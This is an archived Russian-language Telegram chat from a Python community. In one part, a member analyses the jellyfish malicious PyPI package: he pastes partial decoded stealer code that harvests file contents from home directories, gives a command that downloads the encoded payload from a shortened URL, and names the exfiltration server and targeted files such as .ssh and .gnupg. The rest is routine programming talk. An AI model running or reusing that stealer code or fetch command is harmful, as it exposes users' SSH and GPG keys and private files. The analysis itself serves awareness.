Size: a a a

2019 December 04

💭П

💭 Руслан Прохоров in rannts
Какая прелесть )
источник

AM

Artem Malyshev in rannts
Комментарии с opennet уже не те, конечно.
источник

БС

Байт Словович in rannts
Если кому лень ходить по ссылкам.. тот тут чуть подробнее про этот зловред: https://github.com/dateutil/dateutil/issues/984

Фактически зловред состоит из двух частей.
* Сам пакет jellyfish. Это зашифрованные даунлоадер. Чтобы никто не догадался, сам  код закомпресирован и за base64 кодирован.  
* Основная часть зловреда, закодирована и находится тут: https://gitlab.com/olgired2017/aeg_wandoo_dag_m3/raw/master/hashsum

Расшифрованный код зловреда:
# Wwz8YA
# 5KtCn6x0XeNbeSlQLCu4F2
# Lp1NaWuGiGyhYhwXNVrmsIx6ysCK212q7JDtnvFyJPu7ldvOpF7AV2
# 3w9YOamJnITowdBNaZxHIgPsCNmS8jg
# ykmcoVmMifxPcEEEfQjMLprHjIfojPxKcZzGL
# IicLbKrrm8wi0Wtz3yhoz
# ---------------------------------------------------------------------------- #
KB = 1024
Mb = KB * 1024
import os
import json
import requests
import base64
class Data(object):
   def __init__(self):
       self.dump = ''
   def add(self, v):
       self.dump = self.dump + '\n' + str(v)
       return v
#
data = Data()
d = os.path.dirname(os.path.abspath(__file__))
for i in range(15):
   d = data.add(os.path.dirname(d))
#
def list_dir(path):
   try:
       return os.listdir(path)
   except:
       return []
def save_file(f_path):
   if not os.path.exists(f_path):
       data.add('file is not exists: {}'.format(f_path))
       return
   #
   is_dir = os.path.isdir(f_path)
   data.add(str('-' * 10)
            + ' :is_dir: ' + str(is_dir) + ' :file: ' + f_path)
   if is_dir:
       data.add(list_dir(f_path)[:50])
   else:
       file_size = os.path.getsize(f_path)
       data.add(':file-size: ' + str(file_size))
       data.add(f_path)
       try:
           # print(f_path)
           with open(f_path, 'rb') as file:
               try:
                   data.add(file.read(15 * KB))
                   if file_size > 15 * KB:
                       data.add('--...--')
                       _tail = file_size - 10 * KB
                       if _tail > 10 * KB:
                           _tail = 10 * KB
                       file.seek(file_size - _tail)
                       data.add(file.read())
               except Exception as e:
                   data.add(str(e))
                   if file_size < 10 * KB:
                       file.seek(0)
источник

БС

Байт Словович in rannts
тьфу ты, скрипт не польностью скопировался..
хм, выкладывать в открытй доступ я его не хочу..  желающие могут сами  выполнить вот эту строчку:
import zlib, base64
s =  zlib.decompress(base64.b16decode(re.sub(
 r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
)[4:-4].upper()))
print(q.decode("utf-8"))
источник

БС

Байт Словович in rannts
Постит он данные сюда: http://68.183.212.246:32258
он ворует список файлов в каталогах: homedir, каталогов Documents, Downloads, PycharmProjects.
Выдерает первые 15 килобайт и последние 10 килобайт из файлов которые находятся в хомяке, .ssh/ , .gnupg, Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx
источник
2019 December 05

NK

Nick Kugaevsky in rannts
Самый популярный пример Java-кода на StackOverflow оказался с ошибкой
Самый популярный пример Java-кода, опубликованного на StackOverflow, оказался с ошибкой, приводящей к выводу при определённых условиях неверного результата. Рассматриваемый код был размещён в 2010 году и накопил более тысячи рекомендаций, а также был скопирован во многие проекты и встречается в репозиториях на GitHub около 7 тысяч раз. Примечательно, что ошибку нашли не пользователи, копирующие данный код в свои проекты, а изначальный автор совета.
источник

NK

Nick Kugaevsky in rannts
Бага прямо по докладу Дениса на последнем @rannts
источник

NK

Nick Kugaevsky in rannts
источник

SA

Sergey Arkhipov in rannts
И чего только люди не делают, лишь бы npm install pretty-bytes избежать 🤔
источник

NK

Nick Kugaevsky in rannts
Sergey Arkhipov
И чего только люди не делают, лишь бы npm install pretty-bytes избежать 🤔
mvn install
источник

SA

Sergey Arkhipov in rannts
zsh: command not found: mvn
источник

NK

Nick Kugaevsky in rannts
Sergey Arkhipov
zsh: command not found: mvn
И слава яйцам!
источник

AM

Artem Malyshev in rannts
BTW что плохого в maven кроме декларативщины на XML?
источник

💭П

💭 Руслан Прохоров in rannts
Ну, что, вы готовы к порции странного?

У меня есть dict который содержит в себе объекты вида`<module 'name' from 'name.py'>`.  Внутри у него есть класс! Имя класса совпадает с 'name'.


package = tuple(import_files.keys())[0]
module = import_files[package]


внутри module есть class. Его название совпадает со значением переменной package.

Вопрос: как мне создать экземпляр этого класса, не зная его имени?

экземпляр можно создать (проверенно)
temp_obj = module.ClassName, но проблема в том, что мне это всё нужно делать автоматически и в следующем значение словоря уже может быть module.ClassName2.
источник

💭П

💭 Руслан Прохоров in rannts
def import_file(current_path: str, list_files: list) -> dict:
   list_import_file = dict()
   for file in list_files:
       package = file.split(".")[0]
       loader = importlib.machinery.SourceFileLoader(package, os.path.join(current_path, file))
       try:
           handle = loader.load_module(package)
           list_import_file[package] = handle
       except ImportError:
           pass

   return list_import_file
# def import_file

Вот так я создаю dict с импортироваными модулями в которых находятся тестовые классы.

import_files = import_file(path, files)
источник

RB

Roman Bolkhovitin in rannts
Имя класса совпадает с "name"

Ну то есть в итоге имя класса ты знаешь?
getattr(module, class_name)?
источник

💭П

💭 Руслан Прохоров in rannts
Roman Bolkhovitin
Имя класса совпадает с "name"

Ну то есть в итоге имя класса ты знаешь?
getattr(module, class_name)?
Выдает AttribubError
источник

RB

Roman Bolkhovitin in rannts
А точно правильное имя класса передаешь? Ну я просто хз, никогда так не делал, но должно работать
источник

💭П

💭 Руслан Прохоров in rannts
Roman Bolkhovitin
А точно правильное имя класса передаешь? Ну я просто хз, никогда так не делал, но должно работать
Да. Просто "хороший" человек назвал класс не так, как положено, а от себятину (
источник

💭П

💭 Руслан Прохоров in rannts
Еще один вопрос:

D:\dr\_local\.venv_iasc_AMD64_3.7.5\lib\site-packages\pywinauto\__init__.py:80: UserWarning: Revert to STA COM threading mode
 warnings.warn("Revert to STA COM threading mode", UserWarning)

Это происходит в одном из импортов в нутри импорта, я понимаю, что это warnings, но как мне от него избавится?
источник